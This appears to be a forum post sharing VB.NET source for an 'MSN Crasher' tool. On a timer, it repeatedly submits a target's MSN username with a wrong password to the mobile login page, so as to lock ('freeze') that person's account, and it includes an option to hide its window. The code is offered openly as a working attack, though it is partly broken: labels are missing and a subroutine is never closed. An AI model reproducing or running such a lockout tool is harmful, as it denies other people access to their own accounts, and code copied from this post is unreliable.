MSN Crasher 3.0 [Funzt 100%]

[br00_pwn]

Imports System.Threading.Thread
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As  System.EventArgs) Handles MyBase.Load
        WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As  System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Label3.Text = "Freezing..."
    End Sub

  Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As  System.EventArgs) Handles Timer1.Tick
        On Error GoTo errordetected
        WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value",  (TextBox1.Text))
        WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value",  ("pas13465"))
        Sleep(2000)
        WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
        TextBox2.Text = Val(TextBox2.Text) + Val("4")
        If TextBox2.Text = "20" Then
            Label2.Text = "Frozen!"
        End If
        GoTo done

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As  System.EventArgs) Handles Button2.Click
        Label3.Text = "Ready"
        MsgBox("MSN UnFrozen!")
        Timer1.Enabled = False
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object,  ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            Me.Hide()
        End If
    End Sub
End Class

timer interval 100